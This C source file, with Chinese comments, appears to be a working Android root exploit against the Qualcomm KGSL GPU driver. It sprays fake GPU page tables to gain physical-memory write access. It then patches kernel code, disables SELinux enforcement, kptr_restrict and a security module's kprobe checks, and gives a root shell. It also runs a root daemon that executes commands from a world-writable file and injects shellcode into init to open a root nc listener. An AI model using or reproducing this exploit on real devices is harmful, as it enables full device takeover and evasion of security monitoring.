// 重建 GPU context (destroy+create): 每次 GPU 操作前后调用 = 崩溃安全设计
// (每操作干净 SMMU 状态, 不累积 fake TT0 fault; payload 映射是 per-process 的, 无需重 map)
static int ctx_recreate(struct cheese_gpu_rw* cheese) {
    kgsl_ctx_destroy0(cheese->fd, cheese->ctx_id);
    uint32_t nctx = 0;
    if (kgsl_ctx_create0(cheese->fd, &nctx)) return 1;
    cheese->ctx_id = nctx;
    return 0;
}

// 【Neo9】patch cap_bprm_creds_from_file 入口为 mov w0,#0; ret:
// exec 时不再清零 effective caps -> euid=2000 的 rootd 命令 exec 后保留全 caps
// (vr.ko 只查 euid==0, euid 保持 2000 不触发; 符号 +0x93cdbc, 物理 stext_pa+0x93cdbc)
// 同时 kptr_restrict -> 0 (kallsyms 地址可见, KSU late-load insmod 需要)
static int patch_cap_bprm(struct cheese_gpu_rw* cheese, uint64_t stext_pa) {
    if (!getenv("CHEESE_PATCH_CAP")) return 0;
    uint64_t cap_bprm_pa = stext_pa + 0x93cdbc;
    fprintf(stderr, "patching cap_bprm_creds_from_file @ 0x%lx\n", cap_bprm_pa);
    uint64_t q = 0xd65f03c052800000ULL;   // mov w0,#0; ret (小端: 0x52800000 低4字节)
    if (gpu_pwrite_u64_wait(cheese, cap_bprm_pa, q)) {
        fprintf(stderr, "cap_bprm patch write failed\n");
        return 1;
    }
    fprintf(stderr, "cap_bprm_creds_from_file patched (exec keeps caps)\n");
    // kptr_restrict (+0x2d6dd14) -> 0: kallsyms 全地址可见 (KSU insmod 解析需要)
    // 8 字节全 0 会顺带清 ptr_key(+0x2d6dd18 前4字节); kptr_restrict=0 时 ptr_key 不被使用, 无害
    uint64_t kptr_pa = stext_pa + 0x2d6dd14;
    if (gpu_pwrite_u64_wait(cheese, kptr_pa, 0)) {
        fprintf(stderr, "kptr_restrict patch write failed\n");
        return 1;
    }
    fprintf(stderr, "kptr_restrict -> 0 @ 0x%lx (kallsyms visible)\n", kptr_pa);
    // kprobe_dispatcher (+0x37cecc) -> mov w0,#0; ret (CHEESE_PATCH_KPROBE=1 时):
    // 所有已注册 kprobe 的 handler 不再执行 -> vr.ko 的 kprobe 检测(模块加载/内存)失效
    // (被 probe 的函数本身仍正常执行; 物理 0xa838cecc; 默认关闭便于控制变量测试)
    if (getenv("CHEESE_PATCH_KPROBE")) {
        uint64_t kpd_pa = stext_pa + 0x37cecc;
        if (gpu_pwrite_u64_wait(cheese, kpd_pa, 0xd65f03c052800000ULL)) {
            fprintf(stderr, "kprobe_dispatcher patch write failed\n");
            return 1;
        }
        fprintf(stderr, "kprobe_dispatcher patched (vr.ko kprobe handlers disabled) @ 0x%lx\n", kpd_pa);
    } else {
        fprintf(stderr, "kprobe_dispatcher patch SKIPPED (CHEESE_PATCH_KPROBE not set)\n");
    }
    return 0;
}

// 物理写 vhangup stub (12 次 u64 写; 纯写路径)
static int patch_vhangup_stub(struct cheese_gpu_rw* cheese, uint64_t stext_pa) {
    uint64_t vhangup_pa = stext_pa + NEO9_VHANGUP_OFFSET;
    fprintf(stderr, "patching __arm64_sys_vhangup @ 0x%lx (mode %d)\n", vhangup_pa, STUB_MODE);
    int nwords = (int)(sizeof(vhangup_stub) / sizeof(uint32_t));
    for (int i = 0; i < nwords; i += 2) {
        uint64_t q = ((uint64_t)vhangup_stub[i + 1] << 32) | vhangup_stub[i];
        if (gpu_pwrite_u64_wait(cheese, vhangup_pa + i * 4, q)) {
            fprintf(stderr, "stub write %d/%d failed\n", i / 2, nwords / 2);
            return 1;
        }
    }
    fprintf(stderr, "__arm64_sys_vhangup patched (%d bytes)\n", nwords * 4);
    return 0;
}

// 内嵌 root daemon (CHEESE_DAEMON=1): 子进程 cred 已全开且未 exec -> 文件队列服务
// 命令执行: fork -> sh (exec 后 effective 按文件/uid 语义; 内核 cap_bprm patch 后保留全 caps)
// 协议: rootc 写 /data/local/tmp/rootd_cmd -> daemon 执行 -> 输出 /data/local/tmp/rootd_out
//       命令前缀 "KREAD:<hexaddr>:<len>" = daemon 直读 /proc/kcore (全 caps, 不 exec)
static void embedded_root_daemon(void) {
    // 防 LMK: 降低 oom_score (Android 后台进程清理会杀 daemon)
    int oa = open("/proc/self/oom_score_adj", O_WRONLY);
    if (oa >= 0) { write(oa, "-1000", 5); close(oa); }
    // 释放 spray 6GB (fork 复制了映射, RSS 巨大 -> LMK 会杀 daemon; munmap 瘦身)
    for (int i = 0; i < NPBUFS; i++) {
        if (g_pbufs[i]) munmap(g_pbufs[i], g_pbuf_len);
        g_pbufs[i] = NULL;
    }
    unlink("/data/local/tmp/rootd_cmd");
    unlink("/data/local/tmp/rootd_out");
    int ok = open("/data/local/tmp/rootd_ready.txt", O_WRONLY | O_CREAT | O_TRUNC, 0666);
    if (ok >= 0) { write(ok, "ready\n", 6); close(ok); }
    fprintf(stderr, "embedded root daemon (file queue) ready\n");
    for (;;) {
        int cf = open("/data/local/tmp/rootd_cmd", O_RDONLY);
        if (cf < 0) { usleep(200000); continue; }
        char cmd[4096];
        ssize_t n = read(cf, cmd, sizeof(cmd) - 1);
        close(cf);
        unlink("/data/local/tmp/rootd_cmd");
        if (n <= 0) continue;
        cmd[n] = 0;
        while (n > 0 && (cmd[n-1] == '\n' || cmd[n-1] == '\r')) cmd[--n] = 0;
        if (!*cmd) continue;
        int of = open("/data/local/tmp/rootd_out", O_WRONLY | O_CREAT | O_TRUNC, 0666);
        if (of < 0) continue;
        fchmod(of, 0666);
        // B64: 前缀 -> base64 解码 (rootc v3 协议, 避开引号)
        if (!strncmp(cmd, "B64:", 4)) {
            static const signed char b64dec[256] = {
                ['A']=0,['B']=1,['C']=2,['D']=3,['E']=4,['F']=5,['G']=6,['H']=7,
                ['I']=8,['J']=9,['K']=10,['L']=11,['M']=12,['N']=13,['O']=14,['P']=15,
                ['Q']=16,['R']=17,['S']=18,['T']=19,['U']=20,['V']=21,['W']=22,['X']=23,
                ['Y']=24,['Z']=25,['a']=26,['b']=27,['c']=28,['d']=29,['e']=30,['f']=31,
                ['g']=32,['h']=33,['i']=34,['j']=35,['k']=36,['l']=37,['m']=38,['n']=39,
                ['o']=40,['p']=41,['q']=42,['r']=43,['s']=44,['t']=45,['u']=46,['v']=47,
                ['w']=48,['x']=49,['y']=50,['z']=51,['0']=52,['1']=53,['2']=54,['3']=55,
                ['4']=56,['5']=57,['6']=58,['7']=59,['8']=60,['9']=61,['+']=62,['/']=63,
            };
            size_t blen = strlen(cmd + 4);
            char* dec = malloc(blen + 1);
            if (!dec) { close(of); continue; }
            size_t o = 0;
            for (size_t i = 0; i < blen; i += 4) {
                int a = b64dec[(unsigned char)cmd[4 + i]];
                int b = i + 1 < blen ? b64dec[(unsigned char)cmd[4 + i + 1]] : -1;
                int c = i + 2 < blen ? b64dec[(unsigned char)cmd[4 + i + 2]] : -1;
                int d = i + 3 < blen ? b64dec[(unsigned char)cmd[4 + i + 3]] : -1;
                if (a < 0 || b < 0) break;
                dec[o++] = (char)((a << 2) | (b >> 4));
                if (c >= 0) dec[o++] = (char)(((b & 15) << 4) | (c >> 2));
                if (d >= 0) dec[o++] = (char)(((c & 3) << 6) | d);
            }
            dec[o] = 0;
            memcpy(cmd, dec, o + 1);
            free(dec);
        }
        // KREAD 协议: 直读内核内存 (/proc/kcore)
        if (!strncmp(cmd, "KREAD:", 6)) {
            uint64_t addr = strtoull(cmd + 6, NULL, 16);
            int kc = open("/proc/kcore", O_RDONLY);
            if (kc < 0) { dprintf(of, "kcore open fail\n"); close(of); continue; }
            unsigned char ehdr[64];
            if (pread(kc, ehdr, 64, 0) != 64) { dprintf(of, "kcore read fail\n"); close(kc); close(of); continue; }
            uint64_t phoff = *(uint64_t*)(ehdr + 32);
            uint16_t phentsize = *(uint16_t*)(ehdr + 54);
            uint16_t phnum = *(uint16_t*)(ehdr + 56);
            int found = 0;
            uint64_t file_off = 0;
            for (int i = 0; i < phnum && !found; i++) {
                unsigned char ph[56];
                if (pread(kc, ph, 56, phoff + i * phentsize) != 56) break;
                uint32_t p_type = *(uint32_t*)(ph);
                uint64_t p_offset = *(uint64_t*)(ph + 8);
                uint64_t p_vaddr = *(uint64_t*)(ph + 16);
                uint64_t p_filesz = *(uint64_t*)(ph + 32);
                if (p_type == 1 && addr >= p_vaddr && addr < p_vaddr + p_filesz) {
                    file_off = p_offset + (addr - p_vaddr);
                    found = 1;
                    break;
                }
            }
            if (!found) { dprintf(of, "addr not in kcore segments\n"); close(kc); close(of); continue; }
            unsigned char buf[64];
            ssize_t got = pread(kc, buf, 64, file_off);
            close(kc);
            dprintf(of, "KREAD 0x%llx @file 0x%llx len %d:\n", (unsigned long long)addr, (unsigned long long)file_off, (int)got);
            for (int i = 0; i < got && i < 64; i++) dprintf(of, "%02x ", buf[i]);
            dprintf(of, "\n");
            close(of);
            continue;
        }
        pid_t pid = fork();
        if (pid == 0) {
            dup2(of, 1);
            dup2(of, 2);
            close(of);
            execl("/system/bin/sh", "sh", "-c", cmd, (char*)NULL);
            _exit(1);
        }
        int st = 0;
        waitpid(pid, &st, 0);
        dprintf(of, "\n[rc=%d]\n", WIFEXITED(st) ? WEXITSTATUS(st) : -1);
        close(of);
    }
}

// fork -> syscall(58) -> root shell
static int vhangup_root_shell(void) {
    fprintf(stderr, "rooting shell (ROOT_CMD=%s)\n", getenv("ROOT_CMD") ? getenv("ROOT_CMD") : "(interactive sh)");
    pid_t pid = fork();
    if (pid < 0) { perror("fork"); return 1; }
    if (pid == 0) {
        long r = syscall(58);   // vhangup -> patched stub -> commit_creds
#if STUB_MODE == 1 || STUB_MODE == 8
        // 诊断模式: 只验证 stub 是否被执行且安全返回 (0x1234 = stub 执行)
        fprintf(stderr, "child: vhangup=%ld uid=%d (0x1234 => stub executed)\n", r, getuid());
        _exit(0);
#elif STUB_MODE == 10
        // euid 保持 2000 (vr.ko 不触发), caps 已全开; 只检查 vhangup 返回 0
        if (r != 0) {
            fprintf(stderr, "child: vhangup=%ld uid=%d - trigger failed\n", r, getuid());
            _exit(1);
        }
        fprintf(stderr, "root shell ready (caps mode, uid=%d euid=%d)\n", getuid(), geteuid());
#else
        if (r != 0 || getuid() != 0) {
            fprintf(stderr, "child: vhangup=%ld uid=%d - trigger failed\n", r, getuid());
            _exit(1);
        }
        fprintf(stderr, "root shell ready (uid=0)\n");
#endif
        // 内嵌 daemon 模式: 不 exec (exec 会按文件 owner/uid 重置 caps), 直接跑 socket daemon
        if (getenv("CHEESE_DAEMON")) {
            embedded_root_daemon();
            _exit(0);   // daemon 返回(异常)时退出
        }
        const char* root_cmd = getenv("ROOT_CMD");
        if (root_cmd && *root_cmd) {
            execl("/system/bin/sh", "sh", "-c", root_cmd, (char*)NULL);
        } else {
            execl("/system/bin/sh", "sh", (char*)NULL);
        }
        perror("exec failed");
        _exit(1);
    }
    int st = 0;
    waitpid(pid, &st, 0);
    fprintf(stderr, "root shell exited (%d)\n", st);
    return 0;
}

static int run_init_hook_lpe(struct cheese_gpu_rw* cheese,
                             uint64_t runtime_stext_pa,
                             uint32_t target_pid) {
    int rc = 1;
    bool hook_written = false;
    bool cave_written = false;
    struct cave_fallback cave_fb = {0};
    uint32_t shellcode[INIT_HOOK_SHELLCODE_WORDS] = {0};
    uint8_t original_cave[INIT_HOOK_CAVE_BACKUP_BYTES] = {0};

    fprintf(stderr, "init hook write...\n");

    if (!runtime_stext_pa) {
        fprintf(stderr, "runtime _stext PA unresolved for init hook LPE\n");
        return 1;
    }
    if (target_pid != 1) {
        fprintf(stderr, "init hook payload is guarded for PID 1; refusing target_pid=%u\n", target_pid);
        return 1;
    }
    if (init_fw_symbols_from_stext(cheese, runtime_stext_pa)) return 1;

    if (run_write_selftest(cheese)) {
        fprintf(stderr, "scratch write self-test failed; refusing init hook write\n");
        return 1;
    }

    if (dirtypt_ro_setup(cheese)) {
        fprintf(stderr, "Dirty Pagetable setup failed during init hook LPE\n");
        return 1;
    }

    uint64_t task_pa = get_task_by_pid_fast(cheese, target_pid);
    if (!task_pa) {
        fprintf(stderr, "target task_struct not found\n");
        return 1;
    }

    uint64_t mm_va = fast_pread_u64(cheese, task_pa + OFFSETOF_TASK_STRUCT_MM);
    uint64_t mm_pa = is_valid_kernel_va(mm_va) ? kernel_va_to_pa(cheese, mm_va) : 0;
    if (!mm_pa) {
        fprintf(stderr, "target mm_struct translation failed\n");
        return 1;
    }
    uint64_t pgd_va = fast_pread_u64(cheese, mm_pa + OFFSETOF_MM_PGD);
    uint64_t pgd_pa = is_valid_kernel_va(pgd_va) ? kernel_va_to_pa(cheese, pgd_va) : 0;
    if (!pgd_pa) {
        fprintf(stderr, "target mm->pgd sanity failed\n");
        return 1;
    }

    uint64_t start_code = fast_pread_u64(cheese, mm_pa + OFFSETOF_MM_START_CODE);
    uint64_t end_code = fast_pread_u64(cheese, mm_pa + OFFSETOF_MM_END_CODE);
    if (!start_code || end_code <= start_code ||
        INIT_HOOK_PATCH_FILE_VA < INIT_TEXT_FILE_VA ||
        INIT_HOOK_CAVE_FILE_VA < INIT_TEXT_FILE_VA) {
        fprintf(stderr, "target code range or init hook file VA sanity failed\n");
        return 1;
    }

    uint64_t patch_va = start_code + (INIT_HOOK_PATCH_FILE_VA - INIT_TEXT_FILE_VA);
    uint64_t cave_va = start_code + (INIT_HOOK_CAVE_FILE_VA - INIT_TEXT_FILE_VA);
    uint64_t patch_page_va = patch_va & ~0xfffULL;
    uint64_t cave_page_va = cave_va & ~0xfffULL;
    if (patch_va + 16 > end_code) {
        fprintf(stderr, "init hook patch VA is outside target code range\n");
        return 1;
    }
    if ((cave_va & ~0xfffULL) != ((cave_va + INIT_HOOK_CAVE_BACKUP_BYTES - 1) & ~0xfffULL)) {
        fprintf(stderr, "init hook cave payload would cross a page boundary\n");
        return 1;
    }

    uint64_t patch_page_pa = 0, patch_pte_pa = 0, patch_pte = 0;
    uint64_t cave_page_pa = 0, cave_pte_pa = 0, cave_pte = 0;
    int patch_walk_rc = resolve_user_va(cheese, pgd_pa, patch_page_va,
                                                    "INIT_HOOK_WALK_PATCH",
                                                    &patch_page_pa, &patch_pte_pa,
                                                    &patch_pte, NULL);
    if (patch_walk_rc) {
        fprintf(stderr, "init hook patch page walk failed\n");
        return 1;
    }
    int cave_walk_rc = resolve_user_va(cheese, pgd_pa, cave_page_va,
                                                   "INIT_HOOK_WALK_CAVE",
                                                   &cave_page_pa, &cave_pte_pa,
                                                   &cave_pte, NULL);
    if (cave_walk_rc) {
        fprintf(stderr, "init hook cave page non-resident; installing fallback mapping\n");
        if (install_cave_fallback_mapping(cheese, pgd_pa, cave_page_va, patch_pte,
                                          &cave_page_pa, &cave_pte_pa, &cave_pte,
                                          &cave_fb)) {
            fprintf(stderr, "init hook page walk failed\n");
            return 1;
        }
    }

    uint32_t patch_words[4] = {0};
    if (fast_read_phys_bytes(cheese, patch_page_pa + (patch_va & 0xfffULL),
                             patch_words, sizeof(patch_words))) {
        fprintf(stderr, "init hook patch bulk read failed\n");
        return 1;
    }
    uint32_t cave_words[INIT_HOOK_CAVE_BACKUP_BYTES / sizeof(uint32_t)] = {0};
    if (fast_read_phys_bytes(cheese, cave_page_pa + (cave_va & 0xfffULL),
                             cave_words, sizeof(cave_words))) {
        fprintf(stderr, "init hook cave bulk read failed\n");
        return 1;
    }
    memcpy(original_cave, cave_words, sizeof(cave_words));
    uint32_t cave_nonzero_words = 0;
    for (uint32_t i = 0; i < INIT_HOOK_CAVE_BACKUP_BYTES / sizeof(uint32_t); i++) {
        if (cave_words[i] != INIT_HOOK_CAVE_EXPECT0) cave_nonzero_words++;
    }

    if (patch_words[0] != INIT_HOOK_PATCH_EXPECT0 ||
        patch_words[1] != INIT_HOOK_PATCH_EXPECT1 ||
        patch_words[2] != INIT_HOOK_PATCH_EXPECT2 ||
        patch_words[3] != INIT_HOOK_PATCH_EXPECT3 ||
        cave_nonzero_words != 0) {
        fprintf(stderr, "init hook targets are not pristine; refusing write\n");
        return 1;
    }

    uint32_t hook_inst = encode_arm64_b(patch_va, cave_va);
    uint32_t branch_back_word = 41U;

    size_t words = build_runner_sc(shellcode,
                                                              INIT_HOOK_SHELLCODE_WORDS);
    size_t shellcode_bytes = words * sizeof(uint32_t);
    if (words != INIT_HOOK_SHELLCODE_WORDS ||
        shellcode_bytes != INIT_HOOK_CAVE_BACKUP_BYTES ||
        shellcode_bytes > PAGE_SIZE - (cave_va & 0xfffULL)) {
        fprintf(stderr, "init hook shellcode build/size sanity failed\n");
        return 1;
    }

    if (shellcode[40] != INIT_HOOK_RET_SUCCESS_WORD ||
        shellcode[41] != INIT_HOOK_RET_WORD) {
        fprintf(stderr, "init hook direct-return words mismatch\n");
        return 1;
    }
    if (check_runner_sc(shellcode, words))
        return 1;

    fprintf(stderr, "writing init shellcode to padding cave\n");
    if (write_to_page_cache_verified(cheese, cave_page_pa,
                                     (uint32_t)(cave_va & 0xfffULL),
                                     shellcode, shellcode_bytes,
                                     cave_pte_pa, cave_pte,
                                     "init_shellcode_cave", 3)) {
        fprintf(stderr, "failed to write and verify init shellcode\n");
        goto rollback;
    }
    cave_written = true;

    uint32_t cave_verify_words[INIT_HOOK_SHELLCODE_WORDS] = {0};
    if (fast_read_phys_bytes(cheese, cave_page_pa + (cave_va & 0xfffULL),
                             cave_verify_words, shellcode_bytes)) {
        fprintf(stderr, "init cave bulk readback failed\n");
        goto rollback;
    }
    uint32_t cave_verify0 = cave_verify_words[0];
    uint32_t cave_verify_tail = cave_verify_words[branch_back_word];
    uint32_t expected_tail = shellcode[branch_back_word];
    if (cave_verify0 != shellcode[0] || cave_verify_tail != expected_tail) {
        fprintf(stderr, "init cave write verification failed\n");
        goto rollback;
    }

    if (write_to_page_cache_verified(cheese, patch_page_pa,
                                     (uint32_t)(patch_va & 0xfffULL),
                                     &hook_inst, sizeof(hook_inst),
                                     patch_pte_pa, patch_pte,
                                     "init_hook", 3)) {
        fprintf(stderr, "failed to write and verify init hook\n");
        goto rollback;
    }
    hook_written = true;

    uint32_t hook_verify = 0;
    if (fast_read_phys_bytes(cheese, patch_page_pa + (patch_va & 0xfffULL),
                             &hook_verify, sizeof(hook_verify))) {
        fprintf(stderr, "init hook bulk readback failed\n");
        goto rollback;
    }
    if (hook_verify != hook_inst) {
        fprintf(stderr, "init hook write verification failed\n");
        goto rollback;
    }

    fprintf(stderr, "triggering init via setprop and waiting for the root nc listener\n");
    for (int i = 0; i < 20; i++) {
        char cmd[128];
        snprintf(cmd, sizeof(cmd), "setprop debug.cheese_lpe %ld_%d 2>/dev/null",
                 (long)time(NULL), i);
        int setprop_rc = system(cmd);
        if (setprop_rc != 0) {
            fprintf(stderr, "setprop trigger command returned rc=%d at poll %d\n",
                     setprop_rc, i + 1);
        }
        usleep(500000);

        bool listening = nc_listener_up();
        if (listening || i % 4 == 3) {
            fprintf(stderr, "trigger poll %d/20: nc %s:%d listening=%s\n",
                     i + 1, NC_HOST, NC_PORT, listening ? "yes" : "no");
        }
        if (listening) {
            fprintf(stderr, "init hook root nc listener up on %s:%d\n", NC_HOST, NC_PORT);
            fprintf(stderr, "    from adb shell:  nc %s %d   (root shell, uid=0)\n", NC_HOST, NC_PORT);
            rc = 0;
            break;
        }
    }
    if (rc != 0) {
        fprintf(stderr, "init hook trigger timed out\n");
    }

rollback:
    if (hook_written) {
        uint32_t backup[4] = {
            INIT_HOOK_PATCH_EXPECT0,
            INIT_HOOK_PATCH_EXPECT1,
            INIT_HOOK_PATCH_EXPECT2,
            INIT_HOOK_PATCH_EXPECT3,
        };
        fprintf(stderr, "rollback: restoring init hook patch instruction\n");
        if (write_to_page_cache_verified(cheese, patch_page_pa,
                                         (uint32_t)(patch_va & 0xfffULL),
                                         backup, sizeof(backup),
                                         patch_pte_pa, patch_pte,
                                         "init_patch_rollback", 3)) {
            fprintf(stderr, "rollback failed for init hook patch\n");
            rc = 1;
        }
    }
    if (cave_written) {
        fprintf(stderr, "rollback: restoring init hook cave bytes\n");
        if (write_to_page_cache_verified(cheese, cave_page_pa,
                                         (uint32_t)(cave_va & 0xfffULL),
                                         original_cave, shellcode_bytes,
                                         cave_pte_pa, cave_pte,
                                         "init_cave_rollback", 3)) {
            fprintf(stderr, "rollback failed for init hook cave\n");
            rc = 1;
        }
    }
    if (cave_fb.installed) {
        fprintf(stderr, "rollback: unmapping cave fallback PTE + releasing backing page\n");
        coherent_pte_write(cheese, cave_fb.pte_pa, cave_fb.orig_pte);
        if (cave_fb.page) {
            munlock(cave_fb.page, PAGE_SIZE);
            munmap(cave_fb.page, PAGE_SIZE);
        }
        cave_fb.installed = false;
    }

    if (rc == 0) {
        fprintf(stderr, "init hook completed\n");
    } else {
        fprintf(stderr, "init hook failed or rolled back\n");
    }
    return rc;
}

// Main

static void maybe_retry(char** argv) {
    char* attempt = getenv("CHEESE_ATTEMPT");
    int n = attempt ? atoi(attempt) + 1 : 1;
    if (n < (int)NUM_PHYADDRS) {
        fprintf(stderr, "Retrying with phyaddr[%d]...\n", n);
        char buf[16];
        snprintf(buf, sizeof(buf), "%d", n);
        setenv("CHEESE_ATTEMPT", buf, 1);
        usleep(500000);
        execv("/proc/self/exe", argv);
    }
    fprintf(stderr, "All attempts failed\n");
}

int main(int argc, char** argv) {
    fprintf(stderr, "Exploit cheeeeese! PID: %d\n", getpid());
    g_level1_dcache_size = tu_get_l1_dcache_size();

    struct cheese_gpu_rw cheese = {0};
    fprintf(stderr, "bootstrap-daemon...\n");

    if (acquire_instance_lock()) return 1;

    int start_attempt = 0;
    if (getenv("CHEESE_ATTEMPT")) {
        start_attempt = atoi(getenv("CHEESE_ATTEMPT"));
        if (start_attempt < 0 || start_attempt >= (int)NUM_PHYADDRS) start_attempt = 0;
    }
    int attempt = start_attempt;
    uint64_t phyaddr = gPhyAddrs[attempt];

    // payload buffer: per-process kgsl mapping (survives ctx destroy/recreate)
    int fd = open("/dev/kgsl-3d0", O_RDWR | O_CLOEXEC);
    if (fd == -1) { fprintf(stderr, "kgsl open fail\n"); return 1; }
    uint32_t* payload_buf = mmap(NULL, GPU_PAYLOAD_SIZE, PROT_READ | PROT_WRITE,
                                 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (payload_buf == MAP_FAILED) return 1;
    uint64_t payload_gpuaddr = 0;

    // ---- 进程内候选循环: 一次 spray 6GB, 45 候选逐一测试 ----
    // 每候选: 更新 spray 页 [1][2][4]=候选 -> ctx 重建(干净 SMMU=崩溃安全) -> DoWrite -> 扫描
    // (exec 重来方式每候选重新 spray, 物理页分配漂移导致连续全灭; 进程内循环一次 spray
    //  固定页集合, 命中率 = 候选 ∩ spray 页, 单轮 ~3 分钟)
    g_pbuf_len = PAGE_SIZE * 4096; /* 16MB per pbuf, 384 -> 6GB spray (Type010-verified) */
    void* target_physical_page = NULL;

    // spray: 每 4KB 页一个 fake TT0 ([1][2] 先用候选 0, 循环内更新)
    for (int i = 0; i < NPBUFS; i++) {
        uint8_t* pbuf = mmap(NULL, g_pbuf_len, PROT_READ | PROT_WRITE,
                             MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if (pbuf == MAP_FAILED) { fprintf(stderr, "mmap fail\n"); return 1; }
        if (setup_pagetables(pbuf, g_pbuf_len / 4096, gPhyAddrs[0], kFakeGpuAddr,
                             KERNEL_PHYS_BASE) == -1) return 1;
        g_pbufs[i] = pbuf;
        sync_cache_to_gpu(pbuf, pbuf + g_pbuf_len);
    }

    // 全新 ctx + 映射 payload
    uint32_t ctx_id = 0;
    if (kgsl_ctx_create0(fd, &ctx_id)) { fprintf(stderr, "ctx fail\n"); return 1; }
    if (kgsl_map(fd, (unsigned long)payload_buf, GPU_PAYLOAD_SIZE, &payload_gpuaddr)) return 1;

    for (attempt = start_attempt; attempt < (int)NUM_PHYADDRS; attempt++) {
        phyaddr = gPhyAddrs[attempt];
        fprintf(stderr, "phyaddr: 0x%lx (attempt %d/%d)\n", phyaddr, attempt + 1, (int)NUM_PHYADDRS);

        // 更新全部 spray 页: [1][2]=候选|VALID, [4]=候选|0xe4f (self-map), [3]/[5..18] 不变
        for (int i = 0; i < NPBUFS; i++) {
            uint8_t* p = g_pbufs[i];
            for (size_t off = 0; off < g_pbuf_len; off += PAGE_SIZE) {
                uint64_t* tt0 = (uint64_t*)(p + off);
                tt0[1] = (uint64_t)phyaddr | ENTRY_VALID;
                tt0[2] = (uint64_t)phyaddr | ENTRY_VALID;
                tt0[4] = (uint64_t)phyaddr | ENTRY_VALID | ENTRY_RW | ENTRY_MEMTYPE_NNC |
                         ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG;
            }
            sync_cache_to_gpu(p, p + g_pbuf_len);
        }

        // 每候选全新 ctx (SMMU 干净, 崩溃安全)
        if (kgsl_ctx_destroy0(fd, ctx_id)) { fprintf(stderr, "ctx destroy fail\n"); return 1; }
        uint32_t nctx = 0;
        if (kgsl_ctx_create0(fd, &nctx)) { fprintf(stderr, "ctx create fail\n"); return 1; }
        ctx_id = nctx;

        // Type010/exploit0 read-mode DoWrite (SMMU_TABLE_UPDATE(候选) + MEM_TO_MEM + marker)
        DoWrite(fd, ctx_id, payload_buf, payload_gpuaddr, phyaddr,
                kFakeGpuAddr + 0x1100, false, kFakeGpuAddr + 0x0, 1, NULL);
        usleep(1500000);

        // CPU 扫描 spray 找 marker
        for (int i = 0; i < NPBUFS && !target_physical_page; i++) {
            for (size_t off = 0; off < g_pbuf_len; off += 4096) {
                void* ps = g_pbufs[i] + off;
                sync_cache_from_gpu(ps, ps + 0x1000);
                if (*(uint32_t*)(ps + 0x100) == GPU_MARKER_VALUE) {
                    target_physical_page = ps;
                    break;
                }
            }
        }

        if (target_physical_page) {
            fprintf(stderr, "GPU R/W ready (attempt %d)\n", attempt + 1);
            break;
        }
        fprintf(stderr, "Spray failed (attempt %d)\n", attempt + 1);
    }

    if (!target_physical_page) {
        fprintf(stderr, "All attempts failed\n");
        fprintf(stderr, "phyaddr sweep exhausted; reboot and retry (the GPU spray is probabilistic)\n");
        return 1;
    }

    cheese.fd = fd;
    cheese.ctx_id = ctx_id;
    cheese.payload_buf = payload_buf;
    cheese.payload_gpuaddr = payload_gpuaddr;
    cheese.target_physical_page = target_physical_page;
    cheese.phyaddr = phyaddr;

    // ---- 命中后: 每步 GPU 操作前重建 ctx (干净 SMMU 状态 = 崩溃安全) ----
    // stext: 设备无 KASLR, 固定 0xa8010000 (CHEESE_STEXT_PA 可覆盖)
    uint64_t stext_pa = 0xa8010000;
    const char* env_stext = getenv("CHEESE_STEXT_PA");
    if (env_stext && *env_stext) stext_pa = strtoull(env_stext, NULL, 0);
    fprintf(stderr, "Using stext=0x%lx\n", stext_pa);
    // 符号校验读可能失败(本设备 GPU 读路径 fault) -> 容错继续
    if (init_fw_symbols_from_stext(&cheese, stext_pa)) {
        fprintf(stderr, "FW symbol verification failed; continuing anyway\n");
    }
    fprintf(stderr, "stext = 0x%lx\n", stext_pa);

    // SELinux enforcing -> permissive (写路径; ctx 重建后干净执行)
    if (read_selinux_enforce_file() == 0) {
        fprintf(stderr, "SELinux already permissive\n");
    } else {
        if (ctx_recreate(&cheese)) return 1;
        if (run_selinux_rmw(&cheese, stext_pa)) {
            fprintf(stderr, "SELinux permissive overwrite failed (continuing anyway; uid=0 suffices)\n");
        }
    }

    // vhangup stub 写入 (纯写路径, 硬编码地址; ctx 重建后干净执行)
    if (ctx_recreate(&cheese)) return 1;
    if (patch_vhangup_stub(&cheese, stext_pa)) {
        fprintf(stderr, "vhangup stub patch failed\n");
        return 1;
    }

    // (可选) patch cap_bprm_creds_from_file: exec 保留 caps (CHEESE_PATCH_CAP=1)
    if (ctx_recreate(&cheese)) return 1;
    if (patch_cap_bprm(&cheese, stext_pa)) {
        fprintf(stderr, "cap_bprm patch failed (continuing)\n");
    }

    // 恢复 GPU (destroy+create): fake TT0 撤销, UI 渲染恢复正常, 系统稳定
    fprintf(stderr, "restoring GPU context...\n");
    if (ctx_recreate(&cheese)) return 1;
    fprintf(stderr, "GPU context restored (id=%u)\n", cheese.ctx_id);

    // fork -> syscall(58) -> root shell
    vhangup_root_shell();

    return 0;
}